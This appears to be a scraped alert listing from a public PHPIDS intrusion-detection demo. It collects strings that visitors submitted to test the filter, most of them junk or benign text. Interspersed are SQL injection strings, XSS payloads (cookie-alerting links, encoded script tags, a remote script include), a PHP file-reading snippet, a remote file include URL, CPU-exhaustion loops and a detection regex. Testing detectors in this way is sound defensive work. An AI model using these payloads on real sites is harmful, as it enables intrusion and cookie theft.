RSS
Comma-separated values (CSV)
Text
JSONfalseAlerts public view
Name | Summary |
|---|---|
| 1 AND 1=1 | |
| 1 AND ASCII(LOWER(SUBSTRING((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1, 1))) > 116 | |
| 1 AND USER_NAME() = 'dbo' | |
| 1 EXEC XP_ | |
| 1 OR 1=1 | |
| 1 UNION ALL SELECT 1,2,3,4,5,6,name FROM sysObjects WHERE xtype = 'U' -- | |
| 1 UNI/**/ON SELECT ALL FROM WHERE | |
| 1' AND 1=(SELECT COUNT(*) FROM tablenames); -- | |
| 1' AND non_existant_table = '1 | |
| 1' OR '1'='1 | |
| 1'1 | |
| 1'1 | |
| 1+1 document can be = 2 documents | |
| 1-1 | |
| 11,12,13 soll heißen zahl,zahl,zahl | |
| 30 days, 104 Search Engine Vulnerabilities | |
| 123 | |
| 546 | |
| <a href="hello">hello</a> | |
| <a HREF="http://google.com"> H </A> | |
| <a href="javascript:void(0);" onclick="alert(document.cookie);">google.com</a> | |
| <a href="#">Test</a> | |
| <b><i><u>Hello</u></i></b> 99% my foot! | |
| <b>Hi I'm <i>Adam</i></b>, you must be <u>Bob</u> | |
| <div>This is in section1</div> <div>This is called Another Page</div> | |
| <img src="hello.jpg"> | |
| <img src="http://lolcats.com/pokemanz.jpg"> | |
| <ol><li>One<li>Two<li>Three<li>Four</ol> | |
| <p>I am Adam<br><br> You <i>are</i> <b>not.</b></p> | |
| <s>000<s>%3cs%3e111%3c/s%3e%3c%73%3e%32%32%32%3c%2f%73%3e<s&# 62333</s><s>444<&#x 2fs> | |
| <script type="text/javascript">alert("")</script> | |
| <script> | |
| <script>alert(String.fromCharCode(110, 111, 111, 98))</script> | |
| <span style="font-weight: bold;">test</span><br> | |
| <style type="text/css"> body { color: white; background: black; } </style> <b>Hello</b> <?php echo "Hello" ?> | |
| <u><i><b>Hello</b></i></u> | |
| <!--cut and paste--><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0" width="320" height="285" id="VE_Player" align="middle"><param name="movie" value="http://static.videoegg.com/ted/flash/loader.swf"><PARAM NAME="FlashVars" VALUE="bgColor=FFFFFF&file=http://static.videoegg.com/ted/movies/TONYROBBINS_high.flv&autoPlay=false&fullscreenURL=http://static.videoegg.com/ted/flash/fullscreen.html&forcePlay=false&logo=&allowFullscreen=true"><param name="quality" value="high"><param name="allowScriptAccess" value="always"><param name="bgcolor" value="#FFFFFF"><param name="scale" value="noscale"><param name="wmode" value="window"><embed src="http://static.videoegg.com/ted/flash/loader.swf" FlashVars="bgColor=FFFFFF&file=http://static.videoegg.com/ted/movies/TONYROBBINS_high.flv&autoPlay=false&fullscreenURL=http://static.videoegg.com/ted/flash/fullscreen.html&forcePlay=false&logo=&allowFullscreen=true" quality="high" allowScriptAccess="always" bgcolor="#FFFFFF" scale="noscale" wmode="window" width="320" height="285" name="VE_Player" align="middle" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer"></object> | |
| <!--more--> | |
| <!--test--> | |
| <"google"> | |
| <'Tom' & Jerry!*> | |
| <--google--> | |
| <--snip--> | |
| <? ?> | |
| <?php // Version: 1.1; Settings $txt['theme_thumbnail_href'] = $settings['images_url'] . '/thumbnail.gif'; $txt['theme_description'] = 'The classic look that introduced the groundbreaking PHP/MySQL port of YaBB and distinguished it through two years of development until its rebirth as SMF.<br /><br />Author: <i><a href="mailto:webmaster@yabbse.org">The YaBB SE Team</a></i>.'; ?> | |
| >>>///HELLO///<<< | |
| >sadfg<a href =http://vultures-lair | |
| a:1:{i:0;a:2:{s:2:"id";s:1:"1";s:3:"sub";i:1;}} | |
| a:9:{i:0;s:9:"pages.php";i:1;s:11:"modules.php";i:2;s:11:"inshtml.php";i:3;s:10:"design.php";i:4;s:9:"files.php";i:5;s:9:"users.php";i:6;s:11:"website.php";i:7;s:8:"help.php";i:8;s:8:"news.php";} | |
| aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa | |
| AAgbNUhwzhMd8RaK+KFSMlKqP3sLQttALPubPPjx3CXRPtrX6yTx7B25//wNQqK281xAQZbH6xZRS9sLcsoLpAlJO3DwKff0iBWn2G4Q/Kk= (Random data (encrypted) encoded as base64) | |
| abcdefghijklmnopqrstuvwxyz1234567890-= | |
| ADw- +AD4- you should consider filltering UTF-7 encoded brackets nullfield@gmail.com | |
| aefqwef | |
| alert["false positive?"] | |
| as | |
| As long as 1+1=2 the document can be | |
| As long as 1+1=2 the document can be named | |
| As long as 1+1=2 the document can be named location.pdf | |
| asd | |
| Bonjour (3)^2 = 9 {\^_^/} ! | |
| cH%41r(0x68-0x41) is equivalent to: CHAR(0x27) | |
| conrurrent_name=Google&conrurrent_url=google_com | |
| COOKIE.__utmz | Value: 125574670.1204589906.6.2.utmccn=(referral)|utmcsr=zumwinkle.com|utmcct=/work/other/ucla.htm|utmcmd=referral | |
| dassdasd | |
| dddd | |
| Der Kunde ist 123 (!!) Jahre alt - der Abschluß einer XXX ist nicht möglich. Mit freundlichem Gruß | |
| dsf | |
| echo "read file ini_restore","<br> "; echo "<textarea method='POST' cols='95' rows='30' wrar='off' >"; $m=$_POST['M2']; echo ini_get("safe_mode"); echo ini_get("open_basedir"); $s=readfile("$m"); ini_restore("safe_mode"); | |
| ertert | |
| eval(name) | |
| fgghhhh | |
| fgsdfg | |
| flase negative: http://demo.php-ids.org/?test=bad/../&test=ok | |
| Found a false positive? Please submit the string to help us make the PHPIDS better. | |
| found injection: testing+string+input rule: rule-description: Detects JavaScript language constructs impact: 4 | |
| fsadfasf | |
| gfddgf | |
| gffgfgfg | |
| ghdfgh | |
| hgh | |
| hh | |
| Hi there <b> My name is</b> <i>adam</i>. | |
| Hm.. seems your "secure" phpids it not so very secure. The following request is passed as nothing suspicious: http://demo.php-ids.org/?test=http://www.evilcode.com/c999.txt | |
| hola | |
| How do you completely compromise a machine given a text box or badly validated input box? This is a place to talk about code issues (PHP includes, null byte injection, backticks, pipe, etc...) as well as how to properly construct an SQL injection attack. | |
| how to open .mdb | |
| http://demo.php-ids.org/ | |
| I did a search for that hash-algorithm you told me about | |
| I have no clue if this is a malicious string but it does change the layout of the page. " "" "" "" """ " Kyle | |
| I won't rename your document anymore | |
| I won't tell ya my name even if you asked for it. And I won't open the attached file. | |
| ich bin hier kurz vor nem js include, hör mal auf mir den spaß alle 5 minuten zu verderben :P | |
| index.php?autoLoadConfig[999][0][autoType]=include&autoLoadConfig[999][0][loadFile] | |
| is this necessary? ") | |
| I'm not sure if we can fix this: ' 5 < 4 | |
| javascript | |
| jlasdjfk;lasdfkj | |
| just a test -- > | |
| Just in case this idea is not Reiners' or it is not mine | |
| kmkmkmk | |
| lll | |
| lol | |
| My idea is to move the text from here to --> there | |
| My uncle (joe@imports.com) is a nice guy | |
| On second thoughts, consider the following: x + 2 = 3 In this case, x must be 1. | |
| or a=a | |
| or such ') asDF' | |
| Password: 354dtr./* | |
| PHP Serialized objects trip many ids filters. Perhaps create a check for a serialized object and then flag it as ok. | |
| Please let me the document - while it's fresh and current. | |
| plop | |
| Protecting+Aussie+Internet+Users+for+$190+Million | |
| Protocol Local File Enumeration | |
| rLzdZPjhczozMjoiNTE3NjMzMTk5MDE5MjY5OCM5NTgjMDUvMjAwOSNVU0QiOw== | |
| R&D=research_and_developement | |
| s1%3D0%3F%27%27%3A%27i%27%3Bs2%3D0%3F%27%27%3A%27fr%27%3Bs3%3D0%3F%27%27%3A%27ame%27%3Bi1%3Ds1%2Bs2%2Bs3%3Bs1%3D0%3F%27%27%3A%27jav%27%3Bs2%3D | |
| select%20*%20from%20mytable it is a false negative | |
| Some SQL Injection Research. | |
| strhsdghsethsdghd | |
| strong<stronger<strongest<even more stronger<and so on ... | |
| style=\-\mo\z\-b\i\nd\in\g:\url(//business\i\nfo.co.uk\/labs\/xbl\/xbl\.xml\#xss) | |
| SurveyBot/2.3 (Whois Source) | |
| test | |
| test | |
| test | |
| test "hola" | |
| teste | |
| The following input is a totally valid entry for a description field in an idea management application. Without the " "Gering = 1 Mittel = 2 Hoch = 3 Alle Bewertungen aufsummieren und 3 abziehen = eine 1 beim bestmöglichen Szenario (-3 wegen Normalisierung)" kind regards Alex | |
| The pathname didn't exist. Couldn't find it with the Windows. search function | |
| Their names have not been revealed, but are thought to include former president Khieu Samphan - who has been living next door to Nong Chea in Pailin - and Khmer Rouge foreign minister Ieng Sary. | |
| Thirty Five http://abc.com and I'm not! | |
| Thirty Five http://abc.com and I'm not. | |
| Thirty Five http://abc.com and I'm not? | |
| Thirty Five http://abc.com I'm not - really | |
| This one day I was alertin' the whole crew to not say something to the captain about the document he told us about (that one with the barenekkid ladies) | |
| this script alert a friend ('o__o) | |
| unfiltered - input considered malicious will be displayed sanitized (So anything malicious not detected by the PHPIDS will be executed). If you manage to inject an XSS without being noticed by the PHPIDS please contact us vi | |
| url=enter/p/finanzen/ruerup-rente/0/0/63/145/homepage/ | |
| url=enter/p/finanzen/__produkt__/0/0/54/190/ | |
| v is also v | |
| What was that javascript: You told me about | |
| while(1){1}; // Cause CPU=100% | |
| while(1){opera.postError(1)}; //Operaspecific Browser 100% CPU on single-core | |
| www.sneakygroup.com | |
| xscript: | |
| xzczcxcxzczxcxzcxxzcxzcz | |
| You do not state that my submission in this input field was successfully transmitted. This is bad. Why not show an alert / a message telling me, that my message got through? | |
| yrsd | |
| ~document. | |
| "><plaintext> | |
| ">XSSS | |
| ">XXX | |
| "Marc Stern" <marc.stern@approach.be> | |
| "'"'"'"'"'"'" | |
| ##############1############## | |
| $_GET parameter "test" | |
| %3cscript src=http://www.example.com/malicious-code.js%3e%3c/script%3e ref: http://www.owasp.org/index.php/Cross_site_scripting_AoC -jaschadub@gmail.com | |
| %3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22%58%53%53%22%29%3C%2F%73%63%72%69%70%74%3E | |
| %20%0A%20%3C%49%4D%47%20%53%52%43%3D%27%76%62%73%63%72%69%70%74%3A%6D%73%67%62%6F%78%28%22%58%53%53%22%29%27%3E%20%0A | |
| %20%0A%20%3C%49%4D%47%20%53%52%43%3D%27%76%62%73%63%72%69%70%74%3A%6D%73%67%62%6F%78%28%22%58%53%53%22%29%27%3E%20%0A | |
| %31%27%20%4F%52%20%27%31%27%3D%27%31 | |
| <b> tags are annoying. | |
| 1' OR '1'='1 | |
| snakeoil | |
| snakeoil | |
| snakeoil | |
| –, ’, ’ | |
| 1' OR '1'='1 | |
| ' | |
| ' or 1=1 | |
| ' OR username IS NOT NULL OR username = ' | |
| '; DESC users; -- | |
| ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> | |
| ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{} | |
| (:_Evaluate_the_value_of_living_:) | |
| (x?x) | |
| () x | |
| (), s | |
| (), s | |
| (?:\^")|(?:^[\w\s-"]+(?<=AND|OR|XOR|NAND|NOT|\|\||\&\&)\w+\()|(?:"[\s\d]*[^\w\s]+\W*\d\W*.*["\d])|(?:"\s*[^\w\s]+\s*[^\w\s]+\s*")|(?:"\s*[^\w\s]+\s*[\W\d].*(?:#|--))|(?:".*\*\s*\d) | |
| --> I'm only a point of a list | |
| --- | |
| ------------++++++++++++++++++-------------- | |
| ----------------------------- | |
| .location //comment notice there is a space after location | |
| ; | |
| =s+ | |
| §"""x | |
| ¼script¾document.vulnerable=true;¼/script¾ | |
| ¼script¾document.vulnerable=true;¼/script¾ Please use captcha in submission, I think. by yehg.co.nr | |
| [code] <?php echo 'oo'; ?> [/code] | |
| [img]this is in bulletin board code[/img] | |
| [img]this is in bulletin board code[/img] | |
| ^^ | |
| _=alert,1,1,_(1); | |
| ウェブ全体から検索 | |
| { } | |
| { ( x | |
| {\n} | |
| {\x | |
| {"valid": "but", "innocuous": "JSON"} | |